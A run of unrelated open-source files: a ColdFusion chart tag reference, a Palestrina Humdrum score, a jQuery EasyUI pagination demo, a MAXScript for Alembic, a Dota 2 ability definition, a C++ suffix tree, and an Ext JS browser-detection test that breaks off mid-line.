X-axis title","required":false,"default":"","type":"string","values":[]}, {"name":"yaxistitle","description":"text; X-axis title","required":false,"default":"","type":"string","values":[]}, {"name":"xaxistype","description":"CF6.1+ The axis indicates the data category. Data is sorted according to the sortXAxis attribute.\n * scale The axis is numeric. All cfchartdata item attribute\n values must numeric. The X axis is automatically sorted\n numerically.","required":false,"default":"category","type":"string","values":["category","scale"]}, {"name":"yaxistype","description":"CF6.1+ Currently has no effect, as Y axis is always used for data\n values. Valid values are category and scale","required":false,"default":"category","type":"string","values":["category","scale"]}, {"name":"sortxaxis","description":"Display column labels in alphabetic order along X-axis.\n Ignored if the xAxisType attribute is scale.","required":false,"default":false,"type":"boolean","values":[true,false]}, {"name":"show3d","description":"Display chart with three-dimensional appearance.","required":false,"default":true,"type":"boolean","values":[true,false]}, {"name":"xoffset","description":"Applies if show3D=\"yes\". Number of units by which to\n display the chart as angled, horizontally","required":false,"default":0.1,"type":"numeric","values":[]}, {"name":"yoffset","description":"Applies if show3D=\"yes\". Number of units by which to\n display the chart as angled, horizontally.","required":false,"default":0.1,"type":"numeric","values":[]}, {"name":"showlegend","description":"CF8+ if chart contains more than one data series, display legend","required":false,"default":true,"type":"boolean","values":[true,false]}, {"name":"tipstyle","description":"Determines the action that opens a popup window to display\n information about the current chart element.\n * mouseDown: display if the user positions the cursor at the element\n and clicks the mouse. Applies only to Flash format graph files.\n * mouseOver: displays if the user positions the cursor at the element\n * none: suppresses display","required":false,"default":"mouseOver","type":"string","values":["mouseDown","mouseOver","none"]}, {"name":"tipbgcolor","description":"color for control. For a hex value, use the form:\n textColor = \"##xxxxxx\", where x = 0-9 or A-F; use two hash\n signs or none.","required":false,"default":"white","type":"string","values":["black","red","blue","magenta","cyan","orange","darkgray","pink","white","lightgray","yellow"]}, {"name":"showmarkers","description":"Applies to chartseries type attribute values line, curve\n and scatter.\n yes: display markers at data points","required":false,"default":true,"type":"boolean","values":[true,false]}, {"name":"markersize","description":"Size of data point marker. in pixels. Integer.","required":false,"default":"","type":"numeric","values":[]}, {"name":"pieslicestyle","description":"Applies to chartseries type attribute value pie.","required":false,"default":"sliced","type":"string","values":["solid","sliced"]}, {"name":"URL","description":"URL to open if the user clicks item in a data series; the\n onClick destination page.\n\n You can specify variables within the URL string;\n ColdFusion passes current values of the variables.\n * $VALUE$: the value of the selected row. If none, the value is an empty string.\n * $ITEMLABEL$: the label of the selected item. If none, the value is an empty string.\n * $SERIESLABEL$: the label of the selected series. If none, the value is an empty string.","required":false,"default":"","type":"URL","values":["$VALUE$","$ITEMLABEL$","$SERIESLABEL$"]}, {"name":"name","description":"Page variable name. String. Generates the graph as\n binary data and assigns it to the specified variable.\n Suppresses chart display. You can use the name value in\n the cffile tag to write the chart to a file.","required":false,"default":"","type":"string","values":[]}, {"name":"style","description":"CF7+ XML file or string to use to specify the style of the chart.","required":false,"default":"","type":"string","values":["beige","blue","default","red","silver","yellow"]}, {"name":"title","description":"CF7+ Title of the chart.","required":false,"default":"","type":"string","values":[]}, {"name":"base64","description":"CF2018+ Can only be used for client side charts.","required":false,"default":"false","type":"boolean","values":["true","false"]} ], "engines": { "coldfusion": {"minimum_version":"6", "notes":"", "docs":"https://helpx.adobe.com/coldfusion/cfml-reference/coldfusion-tags/tags-c/cfchart.html"}, "lucee": {"minimum_version":"", "notes":"", "docs":"https://docs.lucee.org/reference/tags/chart.html"}, "railo": {"minimum_version":"", "notes":"", "docs":"http://railodocs.org/index.cfm/tag/cfchart"}, "openbd": {"minimum_version":"", "notes":"", "docs":"http://openbd.org/manual/?/tag/cfchart"} }, "links": [ ], "examples": [ { "title":"CFML Markup", "description":"A Simple PIE chart with hard coded data.", "code":"<cfchart format=\"html\" title=\"Sales Report\">\r\n\t<cfchartseries type=\"pie\">\r\n\t\t<cfchartdata item=\"2012\" value=\"#RandRange(300000,900000)#\">\r\n\t\t<cfchartdata item=\"2013\" value=\"#RandRange(300000,900000)#\">\r\n\t\t<cfchartdata item=\"2014\" value=\"#RandRange(300000,900000)#\">\r\n\t\t<cfchartdata item=\"2015\" value=\"#RandRange(300000,900000)#\">\r\n\t</cfchartseries>\r\n</cfchart>", "result":"", "runnable":false }, { "title": "Script Syntax (CF11+)", "description": "", "code": "cfchart(format = \"html\", title = \"Sales Report\") {\r\n\tcfchartseries(type = \"pie\") {\r\n\t\tcfchartdata(item = \"2012\", value = \"#RandRange(300000, 900000)#\");\r\n\t\tcfchartdata(item = \"2013\", value = \"#RandRange(300000, 900000)#\");\r\n\t\tcfchartdata(item = \"2014\", value = \"#RandRange(300000, 900000)#\");\r\n\t\tcfchartdata(item = \"2015\", value = \"#RandRange(300000, 900000)#\");\r\n\t}\r\n}", "result": "", "runnable": false } ] }
{ "pile_set_name": "Github" }
!!!COM: Palestrina, Giovanni Perluigi da !!!OPR: Missa In semidupl. maj. (II) !!!OMD: Credo !!!OTL: Et ex Patre **kern **kern **kern **kern **kern *Ibass *Itenor *Itenor *Icalto *Icant !Bassus !Tenor 2 !Tenor 1 !Altus !Cantus *clefF4 *clefGv2 *clefGv2 *clefG2 *clefG2 *k[b-] *k[b-] *k[b-] *k[b-] *k[b-] *F:ion *F:ion *F:ion *F:ion *F:ion *M4/2 *M4/2 *M4/2 *M4/2 *M4/2 =19 =19 =19 =19 =19 0r 0r 0r 1B- 1r . . . 1F 2r . . . . [2f =20 =20 =20 =20 =20 1r 0r 0r 2B- 2f] . . . 2c 2e 1BB- . . 1d 2f . . . . 2g =21 =21 =21 =21 =21 1FF 2r 0r 2.c 1a . 1F . . . . . . 4A . 2BB- . . 2d 1g 2C 2E . 4c . . . . 4B- . =22 =22 =22 =22 =22 2D 2F 0r 4A 2f . . . 4B- . 4C 2G . 4c 2.e 4BB- . . 4d . 2AA 1A . [1c . . . . . 4c 2FF . . . [2f =23 =23 =23 =23 =23 1C 1G 2r 1c] 2f] . . 2C . 2e 1r 4F 2D 1A 2f . 4G . . . . 4A [2F . 2f . 4B- . . . =24 =24 =24 =24 =24 0r 2c 4F] 2r 2a . . 4F . . . 2C 2E 2c 2.cc . 1F 2D 2d . . . . . 4b- . . 2D [2f 2b- =25 =25 =25 =25 =25 0r 2r 0C 4f] 2a . . . 4e . . 2G . 2e 4g . . . . 4f . 2A . 2.c 2.e . [2c . . . . . . 4d 4f =26 =26 =26 =26 =26 0r 4c] 0r 4e 4g . 4c . 4c 4e . 2B- . 2.d 2.f . 2A . . . . . . 4c 4e . 2A . [2c 2c =27 =27 =27 =27 =27 1r 1G 2r 2c] 2.d . . 2G 2B . . . . . 4e 2r 2F 2A 1c 2f 2C 2E [2c . 2g =28 =28 =28 =28 =28 2D 1D 4c] 1r 2f . . 4B- . . 2.F . 2B- . 2f . 1C 2A 2r 2a 4E . . . . 2E . 2G 2c [2cc =29 =29 =29 =29 =29 2D 2r 2F 2d 2cc] 2D 2F 2D 2f 2b 2C 2G 2E 2e 2cc [2BB- [2B- 2F [2d [2f =30 =30 =30 =30 =30 4BB-] 4B-] 2F 2d] 4f] 4BB- 4B- . . 4g 2FF 2A 2c 1f 4a . . . . 4f 2C 2G 2.c . 2g 2C 2G . 2e 2g . . 4c . . =31 =31 =31 =31 =31 [0FF [0F [0c [0f [0a =32 =32 =32 =32 =32 0FF] 0F] 0c] 0f] 0a] *- *- *- *- *- !!!CDT: 1525/^1526/-1594/2/2 !!!OCY: Italia !!!AGN: Mass (Paraphrase) !!!AST: renaissance, vocal !!!ASW: Gregorian Mass !!!PWK: Masses, Book Mantuan II !!!RNB: Cadence finals: C !!!YOR: Le Opere Complete, v. 19, p. 87 !!!YOO: Rome, Italy: Fratelli Scalera !!!END: 1992// !!!EED: John Miller !!!YEC: Copyright 2000, John Miller !!!YEN: United States of America !!!YEM: Rights to all derivative electronic formats reserved. !!!YEM: Refer to licensing agreement for further details. !!!YEM: This file must be accompanied by the licensing agreement. !!!YEM: A copy of the licensing agreement may be found at http://www.music-cog.ohio-state.edu/HumdrumDatabases/Palestrina/license.txt !!!EMD: converted to Humdrum by Bret Aarden
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Client Side Pagination in DataGrid - jQuery EasyUI Demo</title> <link rel="stylesheet" type="text/css" href="../../themes/default/easyui.css"> <link rel="stylesheet" type="text/css" href="../../themes/icon.css"> <link rel="stylesheet" type="text/css" href="../demo.css"> <script type="text/javascript" src="../../jquery.min.js"></script> <script type="text/javascript" src="../../jquery.easyui.min.js"></script> </head> <body> <h2>Client Side Pagination in DataGrid</h2> <p>This sample shows how to implement client side pagination in DataGrid.</p> <div style="margin:20px 0;"></div> <table id="dg" title="Client Side Pagination" style="width:700px;height:300px" data-options=" rownumbers:true, singleSelect:true, autoRowHeight:false, pagination:true, pageSize:10"> <thead> <tr> <th field="inv" width="80">Inv No</th> <th field="date" width="100">Date</th> <th field="name" width="80">Name</th> <th field="amount" width="80" align="right">Amount</th> <th field="price" width="80" align="right">Price</th> <th field="cost" width="100" align="right">Cost</th> <th field="note" width="110">Note</th> </tr> </thead> </table> <script> function getData(){ var rows = []; for(var i=1; i<=800; i++){ var amount = Math.floor(Math.random()*1000); var price = Math.floor(Math.random()*1000); rows.push({ inv: 'Inv No '+i, date: $.fn.datebox.defaults.formatter(new Date()), name: 'Name '+i, amount: amount, price: price, cost: amount*price, note: 'Note '+i }); } return rows; } function pagerFilter(data){ if (typeof data.length == 'number' && typeof data.splice == 'function'){ // is array data = { total: data.length, rows: data } } var dg = $(this); var opts = dg.datagrid('options'); var pager = dg.datagrid('getPager'); pager.pagination({ onSelectPage:function(pageNum, pageSize){ opts.pageNumber = pageNum; opts.pageSize = pageSize; pager.pagination('refresh',{ pageNumber:pageNum, pageSize:pageSize }); dg.datagrid('loadData',data); } }); if (!data.originalRows){ data.originalRows = (data.rows); } var start = (opts.pageNumber-1)*parseInt(opts.pageSize); var end = start + parseInt(opts.pageSize); data.rows = (data.originalRows.slice(start, end)); return data; } $(function(){ $('#dg').datagrid({loadFilter:pagerFilter}).datagrid('loadData', getData()); }); </script> </body> </html>
{ "pile_set_name": "Github" }
fn findTimeControl = ( if selection.count == 0 then print "Cannot find time control. Selection is empty." for i = 1 to selection.count do ( if classof selection[i] == AlembicTimeControl then ( return selection[i] ) ) ) fn connectTimeControl obj timeCtrl = ( --print obj if obj.time.isAnimated then ( obj.time.controller = float_expression() local nCtrl = obj.time.controller nCtrl.AddScalarTarget "current" timeCtrl.time.controller nCtrl.setExpression "current" --print "connected" ) else ( --print "not animated" ) ) fn createTimeControl name = ( cntl = AlembicTimeControl name: name ) fn connectTimeControlToObjects timeCtrl = ( if selection.count == 0 then print "Cannot connect time control to objects. Selection is empty." for i = 1 to selection.count do ( local n = selection[i] if classof n == Dummy then ( if n.transform.isAnimated and \ classof n.transform.controller == Alembic_Xform then ( connectTimeControl n.transform.controller timeCtrl ) ) if classof n == PolyMeshObject or \ classof n == Freecamera or \ classof n == Alembic_Particles or \ classof n == NURBSCurveshape or \ classof n == SplineShape then ( if n.transform.isAnimated and \ classof n.transform.controller == Alembic_Xform then ( connectTimeControl n.transform.controller timeCtrl ) if n.visibility.isAnimated and \ classof n.visibility.controller == Alembic_Visibility then ( connectTimeControl n.visibility.controller timeCtrl ) ) if classof n == PolyMeshObject then ( for j = 1 to n.modifiers.count do ( modj = n.modifiers[j] case (classof modj) of ( Alembic_Mesh_Normals: ( connectTimeControl modj timeCtrl ) Alembic_Mesh_Geometry: ( connectTimeControl modj timeCtrl ) Alembic_Mesh_UVW: ( connectTimeControl modj timeCtrl ) Alembic_Mesh_Topology: ( connectTimeControl modj timeCtrl ) ) ) ) else if classof n == Freecamera then ( --connectTimeControl n.FOV timeCtrl --connectTimeControl n.MultiPass_Effect.focalDepth timeCtrl --connectTimeControl n.nearclip timeCtrl --connectTimeControl n.farclip timeCtrl --local camMod = n.modifiers["Alembic Camera Properties"] --if camMod != undefined then --( -- connectTimeControl camMod.hfov timeCtrl -- connectTimeControl camMod.vfov timeCtrl -- connectTimeControl camMod.focallength timeCtrl -- connectTimeControl camMod.haperature timeCtrl -- connectTimeControl camMod.vaperature timeCtrl -- connectTimeControl camMod.hfilmoffset timeCtrl -- connectTimeControl camMod.vfilmoffset timeCtrl -- connectTimeControl camMod.lsratio timeCtrl -- connectTimeControl camMod.loverscan timeCtrl -- connectTimeControl camMod.roverscan timeCtrl -- connectTimeControl camMod.toverscan timeCtrl -- connectTimeControl camMod.boverscan timeCtrl -- connectTimeControl camMod.fstop timeCtrl -- connectTimeControl camMod.focusdistance timeCtrl -- connectTimeControl camMod.shutteropen timeCtrl -- connectTimeControl camMod.shutterclose timeCtrl -- connectTimeControl camMod.nclippingplane timeCtrl -- connectTimeControl camMod.fclippingplane timeCtrl --) ) else if classof n == Alembic_Particles then ( connectTimeControl n timeCtrl ) else if classof n == NURBSCurveshape then ( for j = 1 to n.modifiers.count do ( modj = n.modifiers[j] case (classof modj) of ( Alembic_NURBS: ( connectTimeControl modj timeCtrl ) ) ) ) else if classof n == SplineShape then ( for j = 1 to n.modifiers.count do ( modj = n.modifiers[j] case (classof modj) of ( Alembic_Spline_Geometry: ( connectTimeControl modj timeCtrl ) Alembic_Spline_Topology: ( connectTimeControl modj timeCtrl ) ) ) ) ) ) macroScript NewTimeControlUI category:"Alembic" buttonText:"Create Time Control" tooltip:"Create Time Control" ( on execute do ( AlembicTimeControl() ) ) macroScript NewTimeControlForSelectionUI category:"Alembic" buttonText:"New Time Control For Selection" tooltip:"New Time Control For Selection" ( on execute do ( local timeCtrl = AlembicTimeControl() connectTimeControlToObjects(timeCtrl) ) ) macroScript SetTimeControlForSelectionUI category:"Alembic" buttonText:"Set Time Control For Selection" tooltip:"Set Time Control For Selection" ( on execute do ( local timeCtrl = findTimeControl() if timeCtrl != undefined then ( connectTimeControlToObjects(timeCtrl) ) else ( print "Could not find time control in selection." ) ) )
{ "pile_set_name": "Github" }
// Rewrite of Alchemist Unstable Concoction // Author: Noya // Date: October 13, 2015 // Version: 6.83 // Type: Datadriven // // ----- FILE REQUIREMENTS ----- // Script files: // scripts/vscripts/heroes/hero_alchemist/unstable_concoction.lua // // KV files: // scripts/npc/abilities/alchemist/unstable_concoction_throw_datadriven.txt "unstable_concoction_datadriven" { // General //------------------------------------------------------------------------------------------------------------- "BaseClass" "ability_datadriven" "AbilityBehavior" "DOTA_ABILITY_BEHAVIOR_NO_TARGET | DOTA_ABILITY_BEHAVIOR_IMMEDIATE" "AbilityUnitDamageType" "DAMAGE_TYPE_PHYSICAL" "SpellImmunityType" "SPELL_IMMUNITY_ENEMIES_NO" "FightRecapLevel" "1" "AbilityTextureName" "alchemist_unstable_concoction" // Casting //------------------------------------------------------------------------------------------------------------- "AbilityCastPoint" "0.0" // Time //------------------------------------------------------------------------------------------------------------- "AbilityCooldown" "16.0" // Cost //------------------------------------------------------------------------------------------------------------- "AbilityManaCost" "120" // Special //------------------------------------------------------------------------------------------------------------- "AbilitySpecial" { "01" { "var_type" "FIELD_FLOAT" "brew_time" "5.0" } "02" { "var_type" "FIELD_FLOAT" "brew_explosion" "5.5" } "03" { "var_type" "FIELD_FLOAT" "min_stun" "0.25" } "04" { "var_type" "FIELD_FLOAT" "max_stun" "1.75 2.5 3.25 4.0" } "05" { "var_type" "FIELD_INTEGER" "min_damage" "0" } "06" { "var_type" "FIELD_INTEGER" "max_damage" "150 220 290 360" } "07" { "var_type" "FIELD_INTEGER" "radius" "175" } } "precache" { "soundfile" "soundevents/game_sounds_heroes/game_sounds_alchemist.vsndevts" "particle" "particles/units/heroes/hero_alchemist/alchemist_unstable_concoction_timer.vpcf" // This particle isn't used because it would need a separate rule to attach to the hands or weapons for each hero // CP1 and CP2 are left and right hands respectively "particle" "particles/units/heroes/hero_alchemist/alchemist_unstableconc_bottles.vpcf" } "OnSpellStart" { "RunScript" { "ScriptFile" "heroes/hero_alchemist/unstable_concoction.lua" "Function" "StartBrewing" "sub_ability_name" "unstable_concoction_throw_datadriven" } "ApplyModifier" { "ModifierName" "modifier_unstable_concoction_brewing" "Target" "CASTER" } } "OnUpgrade" { "RunScript" { "ScriptFile" "heroes/hero_alchemist/unstable_concoction.lua" "Function" "LevelUpAbility" "ability_name" "unstable_concoction_throw_datadriven" } } "Modifiers" { "modifier_unstable_concoction_brewing" { "IsHidden" "1" "Duration" "%brew_explosion" "ThinkInterval" "0.5" "OnIntervalThink" { "RunScript" { "ScriptFile" "heroes/hero_alchemist/unstable_concoction.lua" "Function" "UpdateTimerParticle" } } "OnDestroy" { "RunScript" { "ScriptFile" "heroes/hero_alchemist/unstable_concoction.lua" "Function" "CheckSelfStun" "sub_ability_name" "unstable_concoction_throw_datadriven" "Target" { "Center" "CASTER" "Radius" "%radius" "Teams" "DOTA_UNIT_TARGET_TEAM_ENEMY" "Types" "DOTA_UNIT_TARGET_HERO" } } } } "modifier_unstable_concoction_stun" { "IsDebuff" "1" "States" { "MODIFIER_STATE_STUNNED" "MODIFIER_STATE_VALUE_ENABLED" } "OverrideAnimation" "ACT_DOTA_DISABLED" "EffectName" "particles/generic_gameplay/generic_stunned.vpcf" "EffectAttachType" "follow_overhead" } } }
{ "pile_set_name": "Github" }
#include <string> //#include <tr1/unordered_map> #include <limits> #include <map> #include <vector> #include <iostream> #include <stdexcept> using std::vector; using std::string; using std::map; using std::make_pair; using std::cout; using std::endl; using std::out_of_range; using std::ostream; //typedef tr1::unordered_map map; // TODO: upgrade it to process trace. Rule: char-->elem string-->elem_list class SuffixTree { public: // active point is initialized as (root, None, 0), remainder initialized as 1 SuffixTree(string str):test_str(str), root(test_str), active_point(&root, 0, 0), remainder(0), pos(0), active_e(0), ls() {} int construct(void); // return -1 if no such sub exist, return the beginning position of this substring in thr original string if it exist int search(string sub); // return the length of the longest prefix of sub which can be matched in suffix tree template <class Iterator> Iterator inc_search(Iterator sub) { Iterator result = sub; Node* node = &root; Edge* edge = NULL; int pos = 0; // the iter's pos at edge int edge_len = -1; bool flag = true; while (flag) { if (edge == NULL) { edge = node->find_edge(*result); if (edge == NULL) { flag = false; } else { result++; pos = 1; // the second element of the edge edge_len = edge->length(); } } else { if (pos >= edge_len) { node = edge->endpoint; edge = NULL; edge_len = 0; } else { if (*result == (*edge)[pos]) { result++; pos++; } else flag = false; } } } return result; } struct Node; struct Edge{ // the begin and end pos of this edge, note that INT_MAX stands for #(the changing end pos of this entire string) unsigned int begin, end; // Is there a better way to find test_str? string& test_node_str; Node * endpoint; Edge(unsigned int b, unsigned int e, string& str): test_node_str(str) { begin = b; end = e; endpoint = NULL; std::cout << "Edge initialized" << std::endl; } void change_edge(unsigned int b, unsigned int e) { begin = b; end = e; } int length(void) { if (end > test_node_str.size()) return test_node_str.size() - begin; else return end - begin + 1; } // needed by map friend bool operator<(const Edge& me, const Edge& other) { return me.begin < other.begin; } char operator[](unsigned int i) { i += begin; if (i > end) throw out_of_range("Edge [] out of range."); return test_node_str[i]; } friend ostream& operator<<(ostream& os, Edge& edge) { unsigned int end = edge.test_node_str.size()-1; if (end >= edge.end) end = edge.end; char c; for (unsigned int i=edge.begin; i<=end; i++) { c = edge.test_node_str[i]; os << c; } if (end != edge.end) os << '#'; return os; } bool is_none(void) { return begin == 0 && end == 0; } }; struct Node{ string& test_node_str; map<int, int> testmap; map<Edge*, bool> edges; // find the edge quicky by storing the leading char of this edge map<char, Edge*> findedges; Node* suffix_link; friend class LinkState; Node(string& str) : test_node_str(str), suffix_link(NULL) { edges.clear(); findedges.clear(); } void add_edge(Edge* edge) { if (edge->endpoint == NULL) edge->endpoint = new Node(test_node_str); make_pair(edge, true); edges.insert(make_pair(edge, true)); findedges.insert(make_pair(test_node_str[edge->begin], edge)); cout << "edge added. Now we have " << edges.size() << "edges." << endl; } void del_edge(Edge* edge) { map<Edge*, bool>::iterator iter = edges.find(edge); if (iter == edges.end()) throw out_of_range("edge don't exit"); else { // note we should erase the findedges too edges.erase(edge); cout << "delete" << (*edge)[0] << endl; findedges.erase((*edge)[0]); cout << "edge deleted. Now we have " << edges.size() << "edges." << endl; } } // find edge by the first char Edge* find_edge(char c) { cout << "finding edge char " << c; map<char, Edge*>::iterator iter = findedges.find(c); cout << " founded? "; if (iter != findedges.end()) { cout << "yes." << endl; return iter->second; } else { cout << "no." << endl; return NULL; } } bool isleaf() { return edges.empty(); } bool operator==(Node& other) { return (this) == (&other); } friend ostream& operator<<(ostream& os, Node& node) { map<Edge*, bool>::iterator iter; map<char, Edge*>::iterator iter_f; for (iter=node.edges.begin(); iter!=node.edges.end(); ++iter) os << iter->first << '\t'; os << endl; for (iter_f=node.findedges.begin(); iter_f!=node.findedges.end(); ++iter_f) os << iter_f->first << "-->" << iter_f->second << endl; return os; } }; int print_tree(void); private: string test_str; class ActivePoint{ public: Node* active_node; char active_edge; int active_length; ActivePoint(Node* node, char edge, int length): active_node(node), active_edge(edge), active_length(length) { std::cout << "ActivePoint initialized" << std::endl; } }; Node root; ActivePoint active_point; Node* get_active_node(void) { return active_point.active_node; } void set_active_node(Node* node) { active_point.active_node = node; cout << "Active node set as " << node << endl; } char get_active_edge(void) { return test_str[active_e]; } int get_active_length(void) { return active_point.active_length; } void set_active_length(int len) { active_point.active_length = len; } void inc_active_len() { active_point.active_length++; } void dec_active_len() { active_point.active_length--; } // how many suffixes is to be inserted? int remainder; // how many characters inserted? unsigned int pos; unsigned int active_e; // the beginning position of suffixes need to be inserted char get_ele(int i) { return test_str[i]; } // insert a char from pos to suffix tree int insert(); int insert_rule1(); int insert_rule3(); int print_node(Node* node, int level); Node* separate_edge(Node * node, Edge* edge); // check if we can change active node bool check_active_node(void) { Node* node = get_active_node(); char a_char = get_active_edge(); Edge* edge = node->find_edge(a_char); if (edge == NULL) return false; unsigned int edge_size = edge->end - edge->begin + 1; unsigned int length = get_active_length(); // update if (length >= edge_size) { set_active_node(edge->endpoint); set_active_length(length-edge_size); active_e += edge_size; return true; } return false; } // this class indicate when shall we insert a suffix link // ls should be a singleton class LinkState { bool first; Node* prev, *curr; public: LinkState() : first(true), prev(NULL), curr(NULL) {} void ins_link(Node* node) { prev = curr; curr = node; if (first == false) { prev->suffix_link = curr; cout << "Suffix link added from prev " << prev << " to curr " << curr << endl; } first = false; } void clear(void) { first = true; prev = curr = NULL; } }; LinkState ls; };
{ "pile_set_name": "Github" }
/* This file is part of Ext JS 4 Copyright (c) 2011 Sencha Inc Contact: http://www.sencha.com/contact GNU General Public License Usage This file may be used under the terms of the GNU General Public License version 3.0 as published by the Free Software Foundation and appearing in the file LICENSE included in the packaging of this file. Please review the following information to ensure the GNU General Public License version 3.0 requirements will be met: http://www.gnu.org/copyleft/gpl.html. If you are unsure which license is appropriate for your use, please contact the sales department at http://www.sencha.com/contact. */ describe("Ext.Support", function() { describe("Ext.is", function() { var platform = { detect: function(navigatorObject) { var result = []; Ext.is.init(navigatorObject); if (Ext.is.Desktop) { result.push('Desktop'); } if (Ext.is.Tablet) { result.push('Tablet'); } if (Ext.is.Phone) { result.push('Phone'); } if (Ext.is.iPad) { result.push('iPad'); } if (Ext.is.iPhone) { result.push('iPhone'); } if (Ext.is.iPod) { result.push('iPod'); } if (Ext.is.Mac) { result.push('Mac'); } if (Ext.is.Windows) { result.push('Windows'); } if (Ext.is.Linux) { result.push('Linux'); } if (Ext.is.Android) { result.push('Android'); } if (Ext.is.iOS) { result.push('iOS'); } if (Ext.is.Blackberry) { result.push('BlackBerry'); } // Reset back to use actual navigator host object Ext.is.init(window.navigator); return result.join(' '); }, data: { 'Desktop Mac': { Safari_502_Mac: { platform: 'MacIntel', userAgent: 'Safari_5533.18.5Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5' }, Chrome_70517_Mac: { platform: 'MacIntel', userAgent: 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7' }, Opera_1063_Mac: { platform: 'MacIntel', userAgent: 'Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.63' } }, 'Desktop Windows': { IE_9Beta_Win7: { platform: 'Win32', userAgent: 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; Media Center PC 6.0)' }, IE_8_Win7: { platform: 'Win32', userAgent: 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 3.5.30729)' }, IE_7_WinVista: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)' }, IE_61_WinXP: { platform: 'Win32', userAgent: 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)' }, Firefox_36_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13' }, Firefox_35_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.15) Gecko/20101026 Firefox/3.5.15' }, Firefox_3_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19' }, Opera_1054_XP: { platform: 'Win32', userAgent: 'Opera/9.80 (Windows NT 5.1; U; en) Presto/2.5.24 Version/10.54' }, Opera_964_XP: { platform: 'Win32', userAgent: 'Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1' }, Safari_5_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4' }, Safari_4_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.29' }, Safari_3_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.29' }, Chrome_8_Win7: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10' }, Chrome_7_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7' }, Chrome_6_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2' }, Chrome_5_XP: { platform: 'Win32', userAgent: 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4' } }, 'Tablet iPad iOS': { iPad_32: { platform: 'iPad', userAgent: 'Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10' } }, 'Phone iPhone iOS': { iPhone_31: { platform: 'iPhone', userAgent: 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_3 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7E18 Safari/528.16' } }, 'Phone iPod iOS': { iPod_41: { platform: 'iPod', userAgent: 'Mozilla/5.0 (iPod; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B118 Safari/6531.22.7' }, iPod_31: { platform: 'iPod', userAgent: 'Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_3 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7E18 Safari/528.16' } }, 'Phone Linux Android': { Android_22_G2: { platform: 'Linux armv7l', userAgent: ' Mozilla/5.0 (Linux; U; Android 2.2; en-us; T-Mobile G2 Build/ FRF91) AppleWebKit/533.1(KHTML, like Gecko) Version/4.0 Mobile Safari/533.1' }, Android_22_Desire: { platform: 'Linux armv7l', userAgent: 'Mozilla/5.0 (Linux; U; Android 2.2; en-vn; Desire_A8181 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1' }, Android_22_NexusOne: { platform: 'Linux armv7l', userAgent: 'Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/ FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1' }, Android_21_GalaxyS: { platform: 'Linux armv7l', userAgent: 'Mozilla/5.0 (Linux; U; Android 2.1-update1; fr-fr; GT-I9000 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17' }, Android_21_Evo: { platform: 'Linux armv7l', userAgent: 'Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; Sprint APA9292KT Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko)' } }, 'Phone BlackBerry': { BlackBerry_Torch: { platform: 'BlackBerry', userAgent: 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+' } } } }, generateSpecsFor = function(type) { for (var data in platform.data[type]) { if (platform.data.hasOwnProperty(type)) { it("should detect " + 